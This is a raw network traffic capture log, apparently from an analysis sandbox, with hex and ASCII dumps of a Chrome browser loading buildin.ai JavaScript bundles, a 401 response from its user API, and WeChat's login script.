2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 69 6d 70 6f 72 74 7b 65 20 61 73 20 67 65 74 41 75 67 6d 65 6e 74 65 64 4e 61 6d 65 73 70 61 63 65 2c 76 20 61 73 20 64 69 73 74 2c 63 20 61 73 20 63 6f 6d 6d 6f 6e 6a 73 47 6c 6f 62 61 6c 2c 70 20 61 73 20 70 72 6f 63 65 73 73 24 31 2c 77 20 61 73 20 42 75 66 66 65 72 2c 52 20 61 73 20 52 65 61 63 74 2c 72 20 61 73 20 72 65 61 63 74 45 78 70 6f 72 74 73 2c 71 20 61 73 20 52 65 61 63 74 44 4f 4d 2c 62 20 61 73 20 72 65 61 63 74 44 6f 6d 45 78 70 6f 72 74 73 7d 66 72 6f 6d 22 2e 2f 72 65 61 63 74 2d 76 65 6e 64 6f 72 2d 30 34 35 32 33 63 35 36 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 61 70 70 6c 79 53 74 79 6c 65 73 2c 63 20 61 73 20 63 72 65 61 74 65 50 6f 70 70 65 72 2c 65 20 61 73 20 65 76 65 6e 74 73 45 78 70 6f 72 74 73 7d 66 72 6f 6d 22 2e Data Ascii: import{e as getAugmentedNamespace,v as dist,c as commonjsGlobal,p as process$1,w as Buffer,R as React,r as reactExports,q as ReactDOM,b as reactDomExports}from"./react-vendor-04523c56.js";import{a as applyStyles,c as createPopper,e as eventsExports}from".
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 66 28 63 3d 21 30 2c 46 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2c 46 2e 73 74 79 6c 65 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 44 2e 70 72 6f 70 73 2e 6d 6f 76 65 54 72 61 6e 73 69 74 69 6f 6e 2c 52 28 29 26 26 44 2e 70 72 6f 70 73 2e 61 6e 69 6d 61 74 69 6f 6e 29 7b 76 61 72 20 43 65 3d 79 28 29 2c 79 65 3d 43 65 2e 62 6f 78 2c 4c 65 3d 43 65 2e 63 6f 6e 74 65 6e 74 3b 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 28 5b 79 65 2c 4c 65 5d 2c 64 65 29 2c 73 65 74 56 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 28 5b 79 65 2c 4c 65 5d 2c 22 76 69 73 69 62 6c 65 22 29 7d 43 28 29 2c 4d 28 29 2c 70 75 73 68 49 66 55 6e 69 71 75 65 28 6d 6f 75 6e 74 65 64 49 6e 73 74 61 6e 63 65 73 2c 44 29 2c 28 49 65 3d 44 2e 70 6f 70 70 65 72 49 6e 73 74 61 6e 63 Data Ascii: f(c=!0,F.offsetHeight,F.style.transition=D.props.moveTransition,R()&&D.props.animation){var Ce=y(),ye=Ce.box,Le=Ce.content;setTransitionDuration([ye,Le],de),setVisibilityState([ye,Le],"visible")}C(),M(),pushIfUnique(mountedInstances,D),(Ie=D.popperInstanc
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6f 70 65 72 74 79 3b 68 61 73 52 65 71 75 69 72 65 64 45 73 44 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 31 3b 76 61 72 20 72 3d 72 65 71 75 69 72 65 47 65 74 49 6e 74 72 69 6e 73 69 63 28 29 2c 65 3d 72 28 22 25 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 25 22 2c 21 30 29 7c 7c 21 31 3b 69 66 28 65 29 74 72 79 7b 65 28 7b 7d 2c 22 61 22 2c 7b 76 61 6c 75 65 3a 31 7d 29 7d 63 61 74 63 68 28 74 29 7b 65 3d 21 31 7d 72 65 74 75 72 6e 20 65 73 44 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 65 2c 65 73 44 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7d 76 61 72 20 47 65 74 49 6e 74 72 69 6e 73 69 63 24 31 3d 72 65 71 75 69 72 65 47 65 74 49 6e 74 72 69 6e 73 69 63 28 29 2c 24 67 4f 50 44 3d 47 65 74 49 6e 74 72 69 6e 73 69 63 24 31 28 22 25 4f 62 Data Ascii: operty;hasRequiredEsDefineProperty=1;var r=requireGetIntrinsic(),e=r("%Object.defineProperty%",!0)\|\|!1;if(e)try{e({},"a",{value:1})}catch(t){e=!1}return esDefineProperty=e,esDefineProperty}var GetIntrinsic$1=requireGetIntrinsic(),$gOPD=GetIntrinsic$1("%Ob
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 28 4f 29 29 7b 76 61 72 20 5a 3d 4f 2e 6e 61 6d 65 3f 22 3a 20 22 2b 4f 2e 6e 61 6d 65 3a 22 22 3b 58 3d 22 20 5b 46 75 6e 63 74 69 6f 6e 22 2b 5a 2b 22 5d 22 7d 69 66 28 4b 28 4f 29 26 26 28 58 3d 22 20 22 2b 52 65 67 45 78 70 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 4f 29 29 2c 65 65 28 4f 29 26 26 28 58 3d 22 20 22 2b 44 61 74 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 55 54 43 53 74 72 69 6e 67 2e 63 61 6c 6c 28 4f 29 29 2c 50 28 4f 29 26 26 28 58 3d 22 20 22 2b 70 28 4f 29 29 2c 71 2e 6c 65 6e 67 74 68 3d 3d 3d 30 26 26 28 21 4c 7c 7c 4f 2e 6c 65 6e 67 74 68 3d 3d 30 29 29 72 65 74 75 72 6e 20 24 5b 30 5d 2b 58 2b 24 5b 31 5d 3b 69 66 28 55 3c 30 29 72 65 74 75 72 6e 20 4b 28 4f 29 3f 76 2e 73 74 79 6c 69 7a 65 28 52 Data Ascii: (O)){var Z=O.name?": "+O.name:"";X=" [Function"+Z+"]"}if(K(O)&&(X=" "+RegExp.prototype.toString.call(O)),ee(O)&&(X=" "+Date.prototype.toUTCString.call(O)),P(O)&&(X=" "+p(O)),q.length===0&&(!L\|\|O.length==0))return $[0]+X+$[1];if(U<0)return K(O)?v.stylize(R
2025-04-01 16:22:31 UTC	15148	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 44 28 74 68 69 73 2c 6e 65 77 20 77 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 56 28 6a 2c 71 29 7b 76 61 72 20 4e 3d 6e 65 77 20 42 3b 44 28 6a 2c 4e 29 2c 70 72 6f 63 65 73 73 24 31 2e 6e 65 78 74 54 69 63 6b 28 71 2c 4e 29 7d 66 75 6e 63 74 69 6f 6e 20 65 65 28 6a 2c 71 2c 4e 2c 48 29 7b 76 61 72 20 58 3b 72 65 74 75 72 6e 20 4e 3d 3d 3d 6e 75 6c 6c 3f 58 3d 6e 65 77 20 41 3a 74 79 70 65 6f 66 20 4e 21 3d 22 73 74 72 69 6e 67 22 26 26 21 71 2e 6f 62 6a 65 63 74 4d 6f 64 65 26 26 28 58 3d 6e 65 77 20 70 28 22 63 68 75 6e 6b 22 2c 5b 22 73 74 72 69 6e 67 22 2c 22 42 75 66 66 65 72 22 5d 2c 4e 29 29 2c 58 3f 28 44 28 6a 2c 58 29 2c 70 72 6f 63 65 73 73 24 31 2e 6e 65 78 74 54 69 63 6b 28 48 2c 58 29 2c 21 31 29 3a 21 30 7d 4b 2e 70 72 6f Data Ascii: ction(){D(this,new w)};function V(j,q){var N=new B;D(j,N),process$1.nextTick(q,N)}function ee(j,q,N,H){var X;return N===null?X=new A:typeof N!="string"&&!q.objectMode&&(X=new p("chunk",["string","Buffer"],N)),X?(D(j,X),process$1.nextTick(H,X),!1):!0}K.pro
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6f 72 73 42 72 6f 77 73 65 72 2e 63 6f 64 65 73 2c 62 3d 6d 2e 45 52 52 5f 49 4e 56 41 4c 49 44 5f 41 52 47 5f 54 59 50 45 2c 77 3d 6d 2e 45 52 52 5f 53 54 52 45 41 4d 5f 50 55 53 48 5f 41 46 54 45 52 5f 45 4f 46 2c 6b 3d 6d 2e 45 52 52 5f 4d 45 54 48 4f 44 5f 4e 4f 54 5f 49 4d 50 4c 45 4d 45 4e 54 45 44 2c 41 3d 6d 2e 45 52 52 5f 53 54 52 45 41 4d 5f 55 4e 53 48 49 46 54 5f 41 46 54 45 52 5f 45 4e 44 5f 45 56 45 4e 54 2c 42 2c 49 2c 44 3b 72 65 71 75 69 72 65 49 6e 68 65 72 69 74 73 5f 62 72 6f 77 73 65 72 28 29 28 56 2c 74 29 3b 76 61 72 20 7a 3d 75 2e 65 72 72 6f 72 4f 72 44 65 73 74 72 6f 79 2c 46 3d 5b 22 65 72 72 6f 72 22 2c 22 63 6c 6f 73 65 22 2c 22 64 65 73 74 72 6f 79 22 2c 22 70 61 75 73 65 22 2c 22 72 65 73 75 6d 65 22 5d 3b 66 75 6e 63 74 69 Data Ascii: orsBrowser.codes,b=m.ERR_INVALID_ARG_TYPE,w=m.ERR_STREAM_PUSH_AFTER_EOF,k=m.ERR_METHOD_NOT_IMPLEMENTED,A=m.ERR_STREAM_UNSHIFT_AFTER_END_EVENT,B,I,D;requireInherits_browser()(V,t);var z=u.errorOrDestroy,F=["error","close","destroy","pause","resume"];functi
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 67 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 6d 75 73 74 20 62 65 20 61 20 73 74 72 69 6e 67 20 6f 72 20 61 20 62 75 66 66 65 72 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 73 29 7b 65 2e 63 61 6c 6c 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 62 6c 6f 63 6b 3d 72 2e 61 6c 6c 6f 63 55 6e 73 61 66 65 28 73 29 2c 74 68 69 73 2e 5f 62 6c 6f 63 6b 53 69 7a 65 3d 73 2c 74 68 69 73 2e 5f 62 6c 6f 63 6b 4f 66 66 73 65 74 3d 30 2c 74 68 69 73 2e 5f 6c 65 6e 67 74 68 3d 5b 30 2c 30 2c 30 2c 30 5d 2c 74 68 69 73 2e 5f 66 69 6e 61 6c 69 7a 65 64 3d 21 31 7d 72 65 74 75 72 6e 20 74 28 6f 2c 65 29 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 74 72 61 6e 73 66 6f 72 6d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 61 2c 6c 29 7b 76 61 72 20 66 3d 6e 75 Data Ascii: g")throw new TypeError(a+" must be a string or a buffer")}function o(s){e.call(this),this._block=r.allocUnsafe(s),this._blockSize=s,this._blockOffset=0,this._length=[0,0,0,0],this._finalized=!1}return t(o,e),o.prototype._transform=function(s,a,l){var f=nu
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 68 69 73 2e 5f 66 6c 3d 37 32 35 35 31 31 31 39 39 2c 74 68 69 73 2e 5f 67 6c 3d 34 32 31 35 33 38 39 35 34 37 2c 74 68 69 73 2e 5f 68 6c 3d 33 32 37 30 33 33 32 30 39 2c 74 68 69 73 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 77 2c 6b 2c 41 29 7b 72 65 74 75 72 6e 20 41 5e 77 26 28 6b 5e 41 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 77 2c 6b 2c 41 29 7b 72 65 74 75 72 6e 20 77 26 6b 7c 41 26 28 77 7c 6b 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 77 2c 6b 29 7b 72 65 74 75 72 6e 28 77 3e 3e 3e 32 38 7c 6b 3c 3c 34 29 5e 28 6b 3e 3e 3e 32 7c 77 3c 3c 33 30 29 5e 28 6b 3e 3e 3e 37 7c 77 3c 3c 32 35 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 77 2c 6b 29 7b 72 65 74 75 72 6e 28 77 3e 3e 3e 31 34 7c 6b 3c 3c 31 38 29 5e 28 77 3e 3e 3e 31 38 7c 6b 3c 3c 31 34 29 5e 28 6b 3e 3e Data Ascii: his._fl=725511199,this._gl=4215389547,this._hl=327033209,this};function a(w,k,A){return A^w&(k^A)}function l(w,k,A){return w&k\|A&(w\|k)}function f(w,k){return(w>>>28\|k<<4)^(k>>>2\|w<<30)^(k>>>7\|w<<25)}function c(w,k){return(w>>>14\|k<<18)^(w>>>18\|k<<14)^(k>>
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 3c 3d 31 2c 66 7c 3d 6f 3e 3e 3e 68 2b 75 26 31 7d 66 6f 72 28 76 61 72 20 75 3d 36 3b 75 3e 3d 30 3b 75 2d 3d 32 29 7b 66 6f 72 28 76 61 72 20 68 3d 31 3b 68 3c 3d 32 35 3b 68 2b 3d 38 29 63 3c 3c 3d 31 2c 63 7c 3d 73 3e 3e 3e 68 2b 75 26 31 3b 66 6f 72 28 76 61 72 20 68 3d 31 3b 68 3c 3d 32 35 3b 68 2b 3d 38 29 63 3c 3c 3d 31 2c 63 7c 3d 6f 3e 3e 3e 68 2b 75 26 31 7d 61 5b 6c 2b 30 5d 3d 66 3e 3e 3e 30 2c 61 5b 6c 2b 31 5d 3d 63 3e 3e 3e 30 7d 2c 75 74 69 6c 73 24 33 2e 72 69 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 2c 73 2c 61 2c 6c 29 7b 66 6f 72 28 76 61 72 20 66 3d 30 2c 63 3d 30 2c 75 3d 30 3b 75 3c 34 3b 75 2b 2b 29 66 6f 72 28 76 61 72 20 68 3d 32 34 3b 68 3e 3d 30 3b 68 2d 3d 38 29 66 3c 3c 3d 31 2c 66 7c 3d 73 3e 3e 3e 68 2b 75 26 31 2c 66 3c 3c 3d Data Ascii: <=1,f\|=o>>>h+u&1}for(var u=6;u>=0;u-=2){for(var h=1;h<=25;h+=8)c<<=1,c\|=s>>>h+u&1;for(var h=1;h<=25;h+=8)c<<=1,c\|=o>>>h+u&1}a[l+0]=f>>>0,a[l+1]=c>>>0},utils$3.rip=function(o,s,a,l){for(var f=0,c=0,u=0;u<4;u++)for(var h=24;h>=0;h-=8)f<<=1,f\|=s>>>h+u&1,f<<=
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2c 62 3d 63 5b 32 5d 2c 77 3d 63 5b 33 5d 2c 6b 3d 6c 5b 30 5d 5e 66 5b 30 5d 2c 41 3d 6c 5b 31 5d 5e 66 5b 31 5d 2c 42 3d 6c 5b 32 5d 5e 66 5b 32 5d 2c 49 3d 6c 5b 33 5d 5e 66 5b 33 5d 2c 44 2c 7a 2c 46 2c 4a 2c 4b 3d 34 2c 56 3d 31 3b 56 3c 68 3b 56 2b 2b 29 44 3d 70 5b 6b 3e 3e 3e 32 34 5d 5e 6d 5b 41 3e 3e 3e 31 36 26 32 35 35 5d 5e 62 5b 42 3e 3e 3e 38 26 32 35 35 5d 5e 77 5b 49 26 32 35 35 5d 5e 66 5b 4b 2b 2b 5d 2c 7a 3d 70 5b 41 3e 3e 3e 32 34 5d 5e 6d 5b 42 3e 3e 3e 31 36 26 32 35 35 5d 5e 62 5b 49 3e 3e 3e 38 26 32 35 35 5d 5e 77 5b 6b 26 32 35 35 5d 5e 66 5b 4b 2b 2b 5d 2c 46 3d 70 5b 42 3e 3e 3e 32 34 5d 5e 6d 5b 49 3e 3e 3e 31 36 26 32 35 35 5d 5e 62 5b 6b 3e 3e 3e 38 26 32 35 35 5d 5e 77 5b 41 26 32 35 35 5d 5e 66 5b 4b 2b 2b 5d 2c 4a 3d 70 Data Ascii: ,b=c[2],w=c[3],k=l[0]^f[0],A=l[1]^f[1],B=l[2]^f[2],I=l[3]^f[3],D,z,F,J,K=4,V=1;V<h;V++)D=p[k>>>24]^m[A>>>16&255]^b[B>>>8&255]^w[I&255]^f[K++],z=p[A>>>24]^m[B>>>16&255]^b[I>>>8&255]^w[k&255]^f[K++],F=p[B>>>24]^m[I>>>16&255]^b[k>>>8&255]^w[A&255]^f[K++],J=p

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	793	OUT	GET /api/users/me HTTP/1.1 Host: buildin.ai Connection: keep-alive x-platform: web-cookie x-app-origin: web sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9,zh;q=0.8 x-product: buildin sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 app_version_name: 1.138.0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true Accept-Encoding: gzip, deflate, br, zstd Cookie: next_lng=undefined
2025-04-01 16:22:34 UTC	256	IN	HTTP/1.1 401 Unauthorized Date: Tue, 01 Apr 2025 16:22:34 GMT Content-Type: application/json; charset=utf-8 Content-Length: 76 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin Server-Timing: total;dur=0
2025-04-01 16:22:34 UTC	76	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 72 65 64 65 6e 74 69 61 6c 73 5f 72 65 71 75 69 72 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4e 6f 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 74 6f 6b 65 6e 20 77 61 73 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":"credentials_required","message":"No authorization token was found"}

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	587	OUT	GET /connect/zh_CN/htmledition/js/wxLogin.js HTTP/1.1 Host: res.wx.qq.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:34 UTC	551	IN	HTTP/1.1 200 OK Last-Modified: Wed, 19 Mar 2025 09:40:00 GMT Server: nginx/1.8.1 Date: Wed, 19 Mar 2025 09:49:18 GMT Expires: Thu, 19 Mar 2026 09:49:18 GMT Content-Type: application/x-javascript X-Verify-Code: a2aa5cebdc14a6c659d47cfc5230d821 X-WX-FJ: 001,018,0000001024 SKFrmwRespCookie: 6xgAIAMQAigF3g== X-Daa-Tunnel: hop_count=1 Cache-Control: max-age=31536000 Content-Length: 1252 Accept-Ranges: bytes X-NWS-LOG-UUID: 14865513110074215597 Connection: close X-Cache-Lookup: Cache Hit Access-Control-Allow-Origin: * Vary: Origin
2025-04-01 16:22:34 UTC	1252	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 57 78 4c 6f 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 22 64 65 66 61 75 6c 74 22 3b 21 30 3d 3d 3d 6e 2e 73 65 6c 66 5f 72 65 64 69 72 65 63 74 3f 72 3d 22 74 72 75 65 22 3a 21 31 3d 3d 3d 6e 2e 73 65 6c 66 5f 72 65 64 69 72 65 63 74 26 26 28 72 3d 22 66 61 6c 73 65 22 29 3b 76 61 72 20 6f 3d 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 73 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 2e 77 65 69 78 69 6e 2e 71 71 2e 63 6f 6d 2f 63 6f 6e 6e 65 63 74 2f 71 72 63 6f 6e 6e 65 63 74 3f 61 70 70 69 64 3d 22 2b 6e 2e 61 70 70 69 64 2b 22 26 73 63 6f 70 65 3d 22 2b 6e 2e 73 63 6f 70 65 2b 22 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 22 2b 6e 2e 72 65 64 69 72 Data Ascii: !function(e,t){e.WxLogin=function(n){var r="default";!0===n.self_redirect?r="true":!1===n.self_redirect&&(r="false");var o=t.createElement("iframe"),s="https://open.weixin.qq.com/connect/qrconnect?appid="+n.appid+"&scope="+n.scope+"&redirect_uri="+n.redir

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	533	OUT	GET /assets/index-50479804.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:34 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 1712243 Connection: close Last-Modified: Thu, 27 Mar 2025 07:35:15 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743060904/ctime:1743060729/gid:0/gname:root/md5:87694e54c33e528c9f935fbe48f38b28/mode:33188/mtime:1743060729/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Date: Mon, 31 Mar 2025 20:02:47 GMT Etag: "87694e54c33e528c9f935fbe48f38b28" Via: 1.1 e8db4dc8ef769d3c7efb983afe130bca.cloudfront.net (CloudFront) Age: 73188 Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: BXm8pv2ksntlvGmvkdiuaCXtXQTdXgU99HqeVufZi_XhXUcsqTK0Fw==
2025-04-01 16:22:34 UTC	16384	IN	Data Raw: 76 61 72 20 4f 66 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 2c 6a 76 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 44 64 3d 28 65 2c 74 29 3d 3e 7b 69 66 28 74 3d 53 79 6d 62 6f 6c 5b 65 5d 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 2e 22 2b 65 2b 22 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 7d 3b 76 61 72 20 78 74 3d 28 65 2c 74 29 3d 3e 4f 66 28 6a 76 28 65 2c 22 72 61 77 22 2c 7b 76 61 6c 75 65 3a 4f 66 28 74 7c 7c 65 2e 73 6c 69 63 65 28 29 29 7d 29 29 3b 76 61 72 20 51 76 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 30 5d 3d 65 2c 74 68 69 73 5b 31 5d 3d 74 7d 3b 76 61 72 20 7a 3d 65 3d 3e 7b 76 61 72 20 74 3d 65 5b 44 64 28 22 61 73 79 6e 63 49 74 Data Ascii: var Of=Object.freeze,jv=Object.defineProperty;var Dd=(e,t)=>{if(t=Symbol[e])return t;throw Error("Symbol."+e+" is not defined")};var xt=(e,t)=>Of(jv(e,"raw",{value:Of(t\|\|e.slice())}));var Qv=function(e,t){this[0]=e,this[1]=t};var z=e=>{var t=e[Dd("asyncIt
2025-04-01 16:22:34 UTC	16384	IN	Data Raw: 63 65 53 75 62 73 63 72 69 62 65 54 6f 6f 6c 74 69 70 22 29 7d 2c 7b 69 64 3a 77 2e 51 41 53 65 61 72 63 68 53 6f 75 72 63 65 2e 41 49 5f 4d 4f 44 45 4c 2c 74 69 74 6c 65 3a 65 28 22 63 68 61 74 41 49 4d 6f 64 65 6c 22 29 2c 73 6f 75 72 63 65 54 79 70 65 3a 77 2e 51 41 53 65 61 72 63 68 53 6f 75 72 63 65 2e 41 49 5f 4d 4f 44 45 4c 2c 74 79 70 65 3a 65 74 2e 53 6f 75 72 63 65 2c 69 63 6f 6e 4e 61 6d 65 3a 22 49 63 41 69 46 69 6c 6c 22 2c 69 63 6f 6e 43 6c 61 73 73 4e 61 6d 65 3a 22 74 65 78 74 2d 61 69 5f 63 6f 6c 6f 72 22 2c 74 6f 6f 6c 74 69 70 3a 65 28 22 63 68 61 74 53 6f 75 72 63 65 41 49 4d 6f 64 65 6c 54 6f 6f 6c 74 69 70 22 29 7d 2c 7b 69 64 3a 77 2e 51 41 53 65 61 72 63 68 53 6f 75 72 63 65 2e 48 45 4c 50 2c 74 69 74 6c 65 3a 65 28 22 63 68 61 74 Data Ascii: ceSubscribeTooltip")},{id:w.QASearchSource.AI_MODEL,title:e("chatAIModel"),sourceType:w.QASearchSource.AI_MODEL,type:et.Source,iconName:"IcAiFill",iconClassName:"text-ai_color",tooltip:e("chatSourceAIModelTooltip")},{id:w.QASearchSource.HELP,title:e("chat
2025-04-01 16:22:34 UTC	16384	IN	Data Raw: 2e 72 65 67 65 78 49 6e 64 65 78 3d 3d 3d 74 68 69 73 2e 63 6f 75 6e 74 26 26 74 68 69 73 2e 63 6f 6e 73 69 64 65 72 41 6c 6c 28 29 29 2c 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 63 6f 6e 73 74 20 6f 3d 6e 65 77 20 69 3b 72 65 74 75 72 6e 20 61 2e 63 6f 6e 74 61 69 6e 73 2e 66 6f 72 45 61 63 68 28 6c 3d 3e 6f 2e 61 64 64 52 75 6c 65 28 6c 2e 62 65 67 69 6e 2c 7b 72 75 6c 65 3a 6c 2c 74 79 70 65 3a 22 62 65 67 69 6e 22 7d 29 29 2c 61 2e 74 65 72 6d 69 6e 61 74 6f 72 45 6e 64 26 26 6f 2e 61 64 64 52 75 6c 65 28 61 2e 74 65 72 6d 69 6e 61 74 6f 72 45 6e 64 2c 7b 74 79 70 65 3a 22 65 6e 64 22 7d 29 2c 61 2e 69 6c 6c 65 67 61 6c 26 26 6f 2e 61 64 64 52 75 6c 65 28 61 2e 69 6c 6c 65 67 61 6c 2c 7b 74 79 70 65 3a 22 69 6c 6c 65 67 61 6c 22 7d 29 2c 6f Data Ascii: .regexIndex===this.count&&this.considerAll()),c}}function r(a){const o=new i;return a.contains.forEach(l=>o.addRule(l.begin,{rule:l,type:"begin"})),a.terminatorEnd&&o.addRule(a.terminatorEnd,{type:"end"}),a.illegal&&o.addRule(a.illegal,{type:"illegal"}),o
2025-04-01 16:22:34 UTC	16384	IN	Data Raw: 6d 61 74 73 75 35 73 68 65 72 35 70 30 6d 67 32 6e 32 72 30 64 31 65 64 33 75 6f 6b 67 72 6f 75 70 38 77 31 79 30 6f 74 6f 34 7a 32 6c 61 30 63 61 69 78 61 35 6d 62 6f 72 67 68 69 6e 69 38 65 72 33 6e 63 61 73 74 65 72 36 64 30 72 6f 76 65 72 36 78 65 73 73 35 73 61 6c 6c 65 35 74 30 69 6e 6f 33 72 6f 62 65 35 77 30 79 65 72 35 62 31 63 31 64 73 32 65 61 73 65 33 63 6c 65 72 63 35 66 72 61 6b 34 67 61 6c 32 6f 32 78 75 73 34 67 62 74 33 69 30 64 6c 32 66 65 30 69 6e 73 75 72 61 6e 63 65 39 73 74 79 6c 65 37 67 68 74 69 6e 67 36 6b 65 32 6c 6c 79 33 6d 69 74 65 64 34 6f 32 6e 63 6f 6c 6e 34 6b 32 70 73 79 33 76 65 31 69 6e 67 35 6b 31 6c 63 31 70 32 6f 61 6e 30 73 33 63 6b 65 72 33 75 73 33 6c 31 6e 64 6f 6e 34 74 74 65 31 6f 33 76 65 33 70 6c 30 66 69 6e Data Ascii: matsu5sher5p0mg2n2r0d1ed3uokgroup8w1y0oto4z2la0caixa5mborghini8er3ncaster6d0rover6xess5salle5t0ino3robe5w0yer5b1c1ds2ease3clerc5frak4gal2o2xus4gbt3i0dl2fe0insurance9style7ghting6ke2lly3mited4o2ncoln4k2psy3ve1ing5k1lc1p2oan0s3cker3us3l1ndon4tte1o3ve3pl0fin
2025-04-01 16:22:34 UTC	16384	IN	Data Raw: 28 22 20 22 29 26 26 28 75 3d 64 5b 30 5d 2c 6d 3d 69 2e 64 6f 63 2e 74 65 78 74 42 65 74 77 65 65 6e 28 75 2e 70 6f 73 2c 63 2e 74 6f 2c 76 6f 69 64 20 30 2c 22 20 22 29 29 2c 75 26 26 6d 29 7b 63 6f 6e 73 74 20 70 3d 6d 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 69 6c 74 65 72 28 68 3d 3e 68 21 3d 3d 22 22 29 3b 69 66 28 70 2e 6c 65 6e 67 74 68 3c 3d 30 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 66 3d 70 5b 70 2e 6c 65 6e 67 74 68 2d 31 5d 2c 67 3d 75 2e 70 6f 73 2b 6d 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 66 29 3b 69 66 28 21 66 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 45 3d 69 6d 28 66 29 2e 6d 61 70 28 68 3d 3e 68 2e 74 6f 4f 62 6a 65 63 74 28 65 2e 64 65 66 61 75 6c 74 50 72 6f 74 6f 63 6f 6c 29 29 3b 69 66 28 21 4b 4d 28 45 29 29 72 65 74 Data Ascii: (" ")&&(u=d[0],m=i.doc.textBetween(u.pos,c.to,void 0," ")),u&&m){const p=m.split(" ").filter(h=>h!=="");if(p.length<=0)return!1;const 